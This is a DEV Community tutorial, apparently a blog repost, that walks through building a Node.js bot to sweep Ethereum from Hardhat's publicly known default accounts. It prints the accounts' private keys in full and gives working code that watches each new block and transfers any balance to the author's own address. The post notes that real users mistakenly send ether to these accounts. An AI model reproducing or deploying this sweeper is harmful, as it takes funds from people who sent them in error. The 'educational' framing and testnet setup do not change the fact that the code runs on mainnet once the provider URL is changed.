DEV Community

Alex Bobes
Alex Bobes

Posted on • Originally published at alexbobes.com

3 1

A Step-by-Step Guide to Building a Simple Ethereum Bot

This guide is intended for educational and/or research purposes only!

The bot we'll build in this tutorial will automatically withdraw funds from an account whenever it receives Ethereum.

Accounts from Hardhat will be used as a case study (Hardhat is an Ethereum developer environment). There are 20 deterministic accounts provided by Hardhat, but some people mistakenly transfer real Ethereum to those accounts. Lots of bots are eager to get their hands on the available ether.

To avoid competition with Mainnet bots, we're launching the bot on Rinkeby (Ethereum's test network).

Get access to the private keys

Npx hardhat node command retrieves the private keys from Hardhat. You can copy and paste the private keys from the list below.

Image description

It's critical to note that everyone who requests Hardhat accounts (public address + private keys) receive the exact same set of information. If you take a look on Etherscan at the account's transaction history you can see real transactions being made in the past.

Image description

Ethereum Bot

JavaScript will be used to build the bot, with NodeJS and the ethers library as the only external dependencies. The ethers.js library aims to be a complete and compact library for interacting with the Ethereum Blockchain and its ecosystem.

Run the following commands:

mkdir eth_bot
cd eth_bot
npm init
npm i ethers 
touch eth_bot.js
Enter fullscreen mode Exit fullscreen mode

Add the following code to eth_bot.js:

const { ethers } = require("ethers");
const provider = new ethers.providers.JsonRpcProvider("rinkeby_or_alchemy_or_infura_url");
const addressReceiver = "your_eth_address";

const privateKeys =
     ["0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80",
      "0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d",
      "0x7c852118294e51e653712a81e05800f419141751be58f605c371e15141b007a6",
      "0x47e179ec197488593b187f80a00eb0da91f1b9d0b13f8733639f19c30a34926a",
      "0x8b3a350cf5c34c9194ca85829a2df0ec3153be0318b5e2d3348e872092edffba",
      "0x92db14e403b83dfe3df233f83dfa3a0d7096f21ca9b0d6d6b8d88b2b4ec1564e",
      "0x4bbbf85ce3377467afe5d46f804f221813b2bb87f24d81f60f1fcdbf7cbf4356",
      "0xdbda1821b80551c9d65939329250298aa3472ba22feea921c0cf5d620ea67b97",
      "0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6",
      "0xf214f2b2cd398c806f84e317254e0f0b801d0643303237d97a22a48e01628897",
      "0x701b615bbdfb9de65240bc28bd21bbc0d996645a3dd57e7b12bc2bdf6f192c82",
      "0xa267530f49f8280200edf313ee7af6b827f2a8bce2897751d06a843f644967b1",
      "0x47c99abed3324a2707c28affff1267e45918ec8c3f20b8aa892e8b065d2942dd",
      "0xc526ee95bf44d8fc405a158bb884d9d1238d99f0612e9f33d006bb0789009aaa",
      "0x8166f546bab6da521a8369cab06c5d2b9e46670292d85c875ee9ec20e84ffb61",
      "0xea6c44ac03bff858b476bba40716402b03e41b8e97e276d1baec7c37d42484a0",
      "0x689af8efa8c651a91ad287602527f3af2fe9f6501a7ac4b061667b5a93e037fd",
      "0xde9be858da4a475276426320d5e9262ecfc3ba460bfac56360bfa6c4c28b4ee0",
      "0xdf57089febbacf7ba0bc227dafbffa9fc08a93fdc68e1e42411a14efcf23656e"
     ];
Enter fullscreen mode Exit fullscreen mode

Infura, Alchemy or any other provider can be added to const provider and your ETH address to the constant addressReceiver.

Insert the following code right after the privateKeys array: "

const bot = async () => {
  provider.on("block", async () => {
    console.log("Listening new block, waiting..)");
    for (let i = 0; i < privateKeys.length; i++) {
      const _target = new ethers.Wallet(privateKeys[i]);
      const target = _target.connect(provider);
      const balance = await provider.getBalance(target.address);
      const txBuffer = ethers.utils.parseEther(".005");
      if (balance.sub(txBuffer) > 0) {
        console.log("NEW ACCOUNT WITH ETH!");
        const amount = balance.sub(txBuffer);
        try {
          await target.sendTransaction({
            to: addressReceiver,
            value: amount
          });
          console.log(`Success! transfered --> ${ethers.utils.formatEther(balance)}`);
        }
        catch (e) {
            console.log(`error: ${e}`);
        }
      }
    }
  });
}

bot();
Enter fullscreen mode Exit fullscreen mode

To check if any of the 20 accounts have any Ethereum, we listen for new blocks to be mined. When the accounts above receive ETH, we transfer the funds to the Ethereum address defined in the JavaScript file.

Start the Ethereum Bot with a simple command: node eth_bot.js

Have fun!

Heroku

This site is built on Heroku

Join the ranks of developers at Salesforce, Airbase, DEV, and more who deploy their mission critical applications on Heroku. Sign up today and launch your first app!

Get Started

Top comments (0)

The Most Contextual AI Development Assistant

Pieces.app image

Our centralized storage agent works on-device, unifying various developer tools to proactively capture and enrich useful materials, streamline collaboration, and solve complex problems through a contextual understanding of your unique workflow.

👥 Ideal for solo developers, teams, and cross-company projects

Learn more

👋 Kindness is contagious

Please leave a ❤️ or a friendly comment on this post if you found it helpful!

Okay